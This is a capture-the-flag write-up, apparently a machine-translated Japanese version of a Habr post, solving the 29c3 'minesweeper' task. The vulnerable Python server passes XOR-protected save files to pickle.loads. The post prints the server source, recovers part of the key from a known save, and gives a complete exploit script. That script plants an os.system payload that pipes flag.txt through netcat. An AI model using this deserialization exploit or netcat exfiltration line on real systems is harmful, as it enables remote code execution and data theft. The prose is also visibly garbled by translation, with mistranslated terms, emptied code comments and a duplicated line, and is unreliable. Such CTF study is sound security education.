地雷原゚クスプロむトの技術ロボットからの掃海艇のプレむに関するCTFタスクを分析したす

画像

こんにちは、habrodamずhabro-lord

最近、私は偶然、最近流行のシリヌズ「ミスタヌ・ロボット」のある゚ピ゜ヌドに目を付けたした。 プロゞェクトにあたり銎染みがなく、それに関連する倧芏暡なPRキャンペヌン ARGむベントのようなこずを行うこずさえあるようですに぀いおただ知っおいたので、面癜いCTFタスクの条件を聞いたずき ビン / 搟取のゞャンルからシリヌズの1぀のプロットでは、このタスクが実際に存圚する可胜性が最も高いず思いたした。 World Wide Webに目を向けるず、自分の仮定を確認したした。タスクはそれほど難しくない1぀のhabrostaのフレヌムワヌクに飜きる時間がないためが、非垞に独創的で興味深いので、今日は察凊したす。
カット、カット、カット

プレビュヌ


䞀蚀で蚀えば、テレビ画面からどのように芋えたかある゚ピ゜ヌドシヌズン3、゚ピ゜ヌド1、2020-2250では、「地䞋ハッキング斜蚭」が芖聎者の前に衚瀺されたす。クラりドのコンピュヌタヌ、䜕マむルもの黄色のパッチコヌド、サむバヌパンクのようなアゞア人ず混雑しおいたす。 ここでは、ネオンアヌクペアず車のタヌミナルの黒ず黒の背景にあるアシッドグリヌンの文字の䞇華鏡に囲たれ、CTFコンテストの情熱の高さが熱くなっおいたした。 GGは参加者の1人に近づき、圌はタスクの1぀を凊理できないず䞍満を蚀いたす。GGは25秒間、モニタヌを芋なくおもタスクのすべおの秘密を説明し、GGはフラグをノックアりトしたす。 終わり。

タスク自䜓に぀いおこれは、「29c3 CTF」2012に登堎する100ポむント少なくずも、heheに盞圓する゜ヌスコヌドを研究するための実際のタスクです。 それを解決するには、基本的な暗号の1郚の知識ずPythonの2郚の知識が必芁です1぀はpickle.loadsのシェルコヌドむンゞェクションの脆匱性を確認し、もう1぀はいく぀かの゚クスプロむト行を䜜成したす。

たず、条件を怜蚎したす。

状態


逆転するのに十分ですか この玠敵なゲヌムをプレむしお少し冷やしおください。必芁に応じお、ゲヌムを保存しお埌で楜しむこずもできたす。 XX.XX.XX.XX1024
<http//and_there_site_site_source/minesweeper.py>

著者からの無料翻蚳
逆転にうんざりしおいたせんか 少し気を散らしお、私たちの小さなゲヌムをプレむしおください。必芁に応じお、䞭断したずころから続行するこずもできたす。 XX.XX.XX.XX1024
<http//and_there_site_site_source/minesweeper.py>

タスクで提䟛される゜ヌスコヌドは、スポむラヌの䞋に隠されおいたす。
minesweeper.py
#!/usr/bin/env python import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point): n = 0 for y in xrange(point[0] - 1, point[0] + 2): for x in xrange(point[1] - 1, point[1] + 2): p = (y, x) if p != point and p in self.mines: n += 1 return n def open(self, y, x): point = (int(y), int(x)) if point[0] < 0 or point[0] >= self.h: return (True, "Illegal point") if point[1] < 0 or point[1] >= self.w: return (True, "Illegal point") if point in self.opened: return (True, "Already opened") if point in self.flagged: return (True, "Already flagged") bisect.insort(self.opened, point) if point in self.mines: return (False, "You lose") if len(self.opened) + len(self.mines) == self.w * self.h: return (False, "You win") if self.calc_num(point) == 0: #open everything around - it can not result in something bad self.open(y-1, x-1) self.open(y-1, x) self.open(y-1, x+1) self.open(y, x-1) self.open(y, x+1) self.open(y+1, x-1) self.open(y+1, x) self.open(y+1, x+1) return (True, None) def flag(self, y, x): point = (int(y), int(x)) if point[0] < 0 or point[0] >= self.h: return "Illegal point" if point[1] < 0 or point[1] >= self.w: return "Illegal point" if point in self.opened: return "Already opened" if point in self.flagged: self.flagged.remove(point) else: bisect.insort(self.flagged, point) return None def load(self, data): self.__dict__ = pickle.loads(data) def save(self): return pickle.dumps(self.__dict__, 1) def write(self, stream): mine = 0 open = 0 flag = 0 screen = " " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n" for y in xrange(0, self.h): have_mines = mine < len(self.mines) and self.mines[mine][0] == y have_opened = open < len(self.opened) and self.opened[open][0] == y have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y screen += chr(0x30 | (y % 10)) + "|" for x in xrange(0, self.w): is_mine = have_mines and self.mines[mine][1] == x is_opened = have_opened and self.opened[open][1] == x is_flagged = have_flagged and self.flagged[flag][1] == x assert(not (is_opened and is_flagged)) if is_mine: mine += 1 have_mines = mine < len(self.mines) and self.mines[mine][0] == y if is_opened: open += 1 have_opened = open < len(self.opened) and self.opened[open][0] == y if is_mine: c = "*" else: c = ord("0") #check prev row for m in xrange(mine - 1, -1, -1): if self.mines[m][0] < y - 1: break if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1): c += 1 #check left & right if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1: c += 1 if have_mines and self.mines[mine][1] == x + 1: c += 1 #check next row for m in xrange(mine, len(self.mines)): if self.mines[m][0] > y + 1: break if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1): c += 1 c = chr(c) elif is_flagged: flag += 1 have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y c = "!" else: c = " " screen += c screen += "|" + chr(0x30 | (y % 10)) + "\n" screen += " +" + ("-" * self.w) + "+\n " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n" stream.send(screen) sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20) re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") def handle(line): if len(line) < 1: return (True, None) if len(line) == 1 and line[0] in "qxQX": return (False, "Bye") global f if line[0] in "foFO": m = re_pos.match(line) if m is None: return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") x,y = m.groups() x = int(x) y = int(y) if line[0] in "oO": return f.open(y,x) else: return (True, f.flag(y,x)) elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) #elif len(line) == 1 and line[0] in "dD": # return (True, repr(f.__dict__)+"\n") else: return (True, "Unknown Command: '" + line[0] + "', valid commands: ofqxls") data = "" while 1: f.write(client) while 1: pos = data.find("\n") if pos != -1: cont, msg = handle(data[0:pos]) if not cont: if msg is not None: client.send(msg + "\n") f.write(client) client.close() sys.exit(0) if msg is not None: client.send(msg + "\n") data = data[pos+1:] break new_data = client.recv(4096) if len(new_data) == 0: sys.exit(0) data += new_data 


実際には、マむンスむヌパず「遊ぶ」簡単なクラむアントサヌバヌアプリケヌションがありたす。 添付された゜ヌスコヌドはサヌバヌ䞊で回転し、参加者は、ゲヌムのクラむアント偎であるnetcatの控えめなcliむンタヌフェむスを介しおのみアクセスできたす。 その結果、フラグを取埗するには、プレむダヌがサヌバヌファむルシステムにアクセスするために、自䜜の掃海艇の実装で匱点を芋぀ける必芁がありたすフラグがただある必芁があるこずは明らかです。

他の人の゜ヌスコヌドを掘り䞋げる時です...

゜ヌスコヌド調査


茞入挬物


既に述べたように、Python暙準ラむブラリの知識を少しでも持っおいる人は、゜ヌステキストを含むファむルの2行目に既にある研究ベクトルの1぀を芋るでしょう。

 import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os 

プログラムはpickleモゞュヌルを䜿甚したす。これは、おそらくゲヌムの状態を保存およびロヌドする機䌚に留意しお piclke.loadsメ゜ッドの呌び出しが衚瀺されるこずを意味したす。これはご存じのように、任意のコヌド実行に察しお脆匱です。

理論によれば、英語の「pickle」からの pickleラむブラリを䜿甚しおPythonオブゞェクトをシリアラむズおよびデシリアラむズしたす。぀たり、ファむルに長期保存するためにオブゞェクトの状態をビットシヌケンス特定のアルゎリズム-プロトコルで保存したす。ハヌドディスク、ネットワヌクを介した䌝送など、およびプログラム本䜓でさらに䜿甚するために同じビットシヌケンスからこの状態を埩元したす。 しかし、たた、理論Pythonのドキュメントに代わっおは、悪意のある負荷で特別に䜜成されたファむルの実行の犠牲にならないように、デシリアラむズするデヌタの信頌性を確認する必芁があるこずを赀い背景に倪字で䞁寧に譊告しおいたす私たちの生掻を台無しにしたす。

この瞬間を芚えお、コヌドをさらに進めおください。

load_encrypt_key


 def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key 

すぐに、恐ろしい名前load_encrypt_keyの関数が衚瀺されたす。この関数は、サヌバヌに保存された秘密鍵を䜿甚しお、ゲヌムが䜕かをチェック/眲名する方法を持っおいるこずを瀺唆したす。

この関数は秘密鍵をダりンロヌドするだけです。秘密鍵が存圚する堎合、サヌバヌはencrypt_key.binファむルから取埗したす。そうでない堎合、そのようなファむルが生成され、ランダムなシングルバむト倀で詰たりたす。 秘密鍵のサむズ4096バむト。 芚えおおいおください。

クラスField


以䞋は、マむンスむヌパをプレむするためのフィヌルドを説明するクラスです。
 class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point): # ... def open(self, y, x): # ... def flag(self, y, x): # ... def load(self, data): self.__dict__ = pickle.loads(data) def save(self): return pickle.dumps(self.__dict__, 1) def write(self, stream): # ... 

぀たり、 Fieldフィヌルドのフィヌルドを蚘述するコンストラクタヌ w-幅、 h-高さ、 鉱山 -min座暙[ランダムに生成]のリスト、およびopenセルずクリアセルの座暙を含むリスト-openおよびそれぞれフラグが蚭定されおいたす、ゲヌムの読み蟌みず保存の方法も含たれたす。

私たちの仮定は真実であるこずが刀明したした-piclke.loadsは実際にゲヌムをロヌドするために䜿甚されたす。 これがどのように起こるか Field.saveメ゜ッドはフィヌルドの状態をビットのシヌケンス pickle.dumpsメ゜ッドのプロトコル1に準拠 にプッシュし、 Field.loadメ゜ッドはプレヌダヌの芁求に応じおこのシヌケンスを埩元し、ゲヌムプロセスのその瞬間を返したす圌が止めた。

説明が省略されおいる方法は、ゲヌムプロセス自䜓の実装の盎接的なコンポヌネントであり、セキュリティ研究者のハッカヌに圹立぀情報は含たれおいたせん。 名前は目的を反映しおいたす。

接続の初期化


次に、クラむアントずサヌバヌ間の接続を確立し、秘密鍵をロヌドしお、サむズが16x16で、鉱山数が20のFieldクラスのむンスタンスを䜜成するコヌドを参照したす。
 sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20) 

マむンスむヌパは、PCが1台しかない堎合でもプレむできるこずに泚意しおください。
MINUTE PARANOI以䞋のアクションを実行するこずは、シェルアプリケヌションを受信するために脆匱なアプリケヌションでポヌトを開くこずず同等です。したがっお、ポヌトが倖郚からアクセス可胜な堎合、スクリプトをテストしおバむンドのむンタヌフェむスを0.0.0.0から127.0.0.1に倉曎するこずをお勧めしたす。

あるタヌミナルりィンドりでプログラムを実行し、別のタヌミナルりィンドりで$ nc 0.0.0.0 1024を登録するず、リモヌトサヌバヌでプレむするずきず同じ効果が埗られたす。

さあ、やっおみたしょう。 出力は膚倧であるため、スポむラヌでの結果
接続をテストする
画像

私たちは䜕を持っおいたす
  1. 「h」文字の最初の入力埌少し助けが必芁でした、コマンドのリストが利甚可胜になりたした o 、 f 、 q 、 x 、 l 、 s 。 埌で、 o-オヌプンセルを開く、 f-フラグセルをクリア、 q-終了ゲヌムを終了、 x-終了ゲヌムを終了、 l-ロヌドゲヌムをロヌド、 s-保存ゲヌムを保存。
  2. saveコマンドの出力は、base64文字列の圢匏です。
  3. loadコマンドの入力もbase64文字列にする必芁がありたす。

いいね コヌドに戻りたしょう。

ハンドル


最も興味深い郚分に到達したした-ナヌザヌ入力凊理関数
ハンドル
 re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") def handle(line): if len(line) < 1: return (True, None) if len(line) == 1 and line[0] in "qxQX": return (False, "Bye") global f if line[0] in "foFO": m = re_pos.match(line) if m is None: return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") x,y = m.groups() x = int(x) y = int(y) if line[0] in "oO": return f.open(y,x) else: return (True, f.flag(y,x)) elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) #elif len(line) == 1 and line[0] in "dD": # return (True, repr(f.__dict__)+"\n") else: return (True, "Unknown Command: '" + line[0] + "', valid commands: ofqxls") 


繰り返したすが、重芁な点のみを考慮しおください。 ゲヌムの保存を担圓する郚分から始めたしょう。

 elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) 

保存は4段階で行われたす。
  1. msg = f.save() - Fieldフィヌルドの珟圚の状態のダンプを保存したす。
  2. h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg受信したメッセヌゞからsha1ハッシュを取埗し、連結操䜜を実行したす。゜ルト行 " 4n71cH3aT "ずずもにハッシュがメッセヌゞの先頭に远加されたす。
  3. for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) -メッセヌゞに眲名xor各メッセヌゞバむト秘密鍵の次のバむト。
  4. return (True, "Your savegame: " + base64.standard_b64encode(msg)) -眲名されたメッセヌゞからbase64文字列を返したす。 これがセヌブゲヌムです。

ダりンロヌドを怜蚎しおください。
 elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") 

ロヌドは同様のアルゎリズムに埓っお行われたすが、逆の順序で行われたす。
  1. base64文字列をデコヌドしたす。
  2. 繰り返したすが、xor操䜜を䜿甚しお元のメッセヌゞを取埗したす。
  3. saltプレフィックス " 4n71cH3aT "を取り陀きたす。
  4. 既存のメッセヌゞハッシュず新しく蚈算されたハッシュを比范したす。䞀臎する堎合はreturn (True, "Savegame loaded") return (True, "Unable to load savegame (checksum)") 、そうでない堎合はチェックサム゚ラヌをreturn (True, "Unable to load savegame (checksum)") 。

コヌドの分析が完了するず、クラむアントずサヌバヌの察話のメむンサむクルが続きたすが、これは興味のないこずです。

攻撃蚈画


したがっお、゚クスプロむトを䜜成するために必芁なすべおの情報がありたす。

おおよその蚈画は次のずおりです。ペむロヌドが埋め蟌たれた悪意のある保存ファむルを䜜成しお、目的のシェルコヌドを実行し、サヌバヌにフィヌドしたす。これにより、ゲヌムの䜜成者が意図しおいないアクションを実行したす。 この状況での䞻なタスクは、サヌバヌの秘密鍵正確には秘密鍵の䞀郚です。正確に蚀えば、この堎合、フィヌルドは小さく、鍵の4096バむトはすべお䜿甚されたせんを保存に眲名するこずです。 これを行うには、ゲヌムの保存方法の次の行に再び目を向けたす。
 msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) 

䜿甚される暗号は単玔なxor暗号であるため、秘密鍵を陀く方皋匏のすべおのコンポヌネントを知っおいるため、xorを再床実行するだけで簡単に抜出できたす。

Save=プレフィックス||Sha1ダンプフィヌルド||ダンプフィヌルド oplusキヌ、

Key=プレフィックス||Sha1ダンプフィヌルド||ダンプフィヌルド oplusSave、

どこで ||-連結操䜜。

これにより、 保存 ゲヌムで受信可胜ずプレフィックス  " 4n71cH3aT "が埗られたす。 Fieldに察凊するこずは残っおいたす。 ロヌルトリックを行うには、停の Fieldむンスタンスがサヌバヌむンスタンスず正確に䞀臎する必芁がありたす。この堎合、 pickle.dumpsは、 Fieldむンスタンスのフィヌルドを含む蟞曞をその倀でシリアル化するためです。

Fieldの構成を思い出しおください
 class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] 

幅、高さは既知であり、開いたセルずクリアされたセルを含むリストは最も簡単に空のたたになりたすゲヌムの最初の段階で、1回も移動するこずなく保存されたす 最小座暙が残りたす 唯䞀の解決策は、このような座暙を持぀リストを䜜成するためにゲヌムを実行するこずです。

私はサッパヌを決しお愛しおいたせんでしたが、正盎なずころ、ネタバレの䞋で私の通路を芋るこずができたす
マむンスむヌパのプレむ方法
泚 oたたはfコマンドを実行するず、最初に列が瀺され、次に行が瀺されたす。 たずえば、 o3.15コマンドは、座暙 15、3を持぀セルを開きたす。

画像

その結果、次のような鉱山の配列が埗られたした。
 mines = [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] 

次に、マむンスむヌパに再床接続しお、「空の」保存を取埗したす。
画像

゚クスプロむトを䜜成したす


たず、停のフィヌルドが必芁です。ここでは、䟿宜䞊、 dumpメ゜ッドをすぐに実装したす。
 class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1) 

メッセヌゞに接続された゜ルトハッシュを受信する関数ずxor暗号化関数を䜜成したす。
 def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ]) 

ペむロヌドを生成するためのファンクタヌを䜜成したす。 入力はサヌバヌが実行する必芁があるコマンドであり、出力は悪意のあるストレヌゞでの実装に適した既補のシェルコヌドです。
 class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,)) 

ポむントは小さい-mainを曞く
 def main(): #  "" ,     encrypted = base64.standard_b64decode( 'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \ 'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \ 'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \ 'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \ 'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \ '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \ 'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \ 'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \ '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \ 'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \ 'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \ 'Mp0Q==' ) #  ,    reconstructed = FieldFake( 16, 16, [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] ) #  +  +  ( ,  ) unencrypted = gamehash(reconstructed.dump()) #    part_of_key = crypt(unencrypted, encrypted) #   evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234')) #  base64.  ! evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key)) print evilsave 

より独創的なものシェルを受信するたでを考え出すこずは可胜ですが、デモを簡単にするために、 flag.txtファむルの内容をsdoutのポヌト1234でlocalhostに出力するコマンドずしお単玔な猫を遞択したす。スクリプトが実行されたサヌバヌ䞊のディレクトリこの堎合、最初にそこに眮く必芁がありたす;、たた、幞運なこずにスクリプトを読み取る暩限がありたす。

たずめお䜜業を確認したす。
evilsave.py
 #!/usr/bin/env python3 # -*- coding: UTF-8 -*- # Usage: python3 evilsave.py import hashlib, base64, pickle class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1) class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,)) def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ]) def main(): #  "" ,     encrypted = base64.standard_b64decode( 'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \ 'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \ 'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \ 'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \ 'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \ '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \ 'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \ 'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \ '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \ 'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \ 'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \ 'Mp0Q==' ) #  ,    reconstructed = FieldFake( 16, 16, [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] ) #  +  +  ( ,  ) unencrypted = gamehash(reconstructed.dump()) #    part_of_key = crypt(unencrypted, encrypted) #   evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234')) #  base64.  ! evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key)) print evilsave if __name__ == '__main__': main() 


そしお、「 セヌブゲヌム䟋倖をロヌドできたせん 」そのゞェネレヌタはpickle.loads番目の䟋倖がスロヌされたずいう譊告を私たちに曞いたにもかかわらず...
画像

...次のタヌミナルりィンドり「クラむアント」偎で、 flag.txtファむルの内容、歓声、歓声を取埗できたした。
画像

おわりに


タスクは非垞に矎しく独創的ですさらに、私の意芋では、圌はPythonの掗緎された優雅さず倚才さをよく瀺しおいたすシリヌズのプロットで、競争の参加者にそのような困難を匕き起こした原因は明らかです。 しかし、䞻人公による圌の決定<゜ヌスコヌドをスクロヌルせずに30分未満は本圓に賞賛を超えおおり、圌はPずNPの平等の問題を解決する必芁がありたした-このアプロヌチでは、Jず同じです

怜蚌枈みのデヌタのみをシリアル化し、 匷力な暗号化を䜿甚し、優れたゲヌムをプレむし、「悪」な保存を行いたせん。

ハッピヌハッキング
画像

興味深いリンク


  1. CTFtime.org / 29c3 CTF / マむンスむヌパ-ctftime.org/task/193
  2. Mr. Robot.S03。 「Mr. Robot」の新シヌズンは、むヌスタヌ゚ッグずハッカヌゲヌムでファンを喜ばせた-「Hacker」 -xakep.ru/2018/01/29/mrrobot-s03
  3. 䞍可解なpython「minesweeper」チャレンゞ MrRobot-reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge

Source: https://habr.com/ru/post/J351360/


All Articles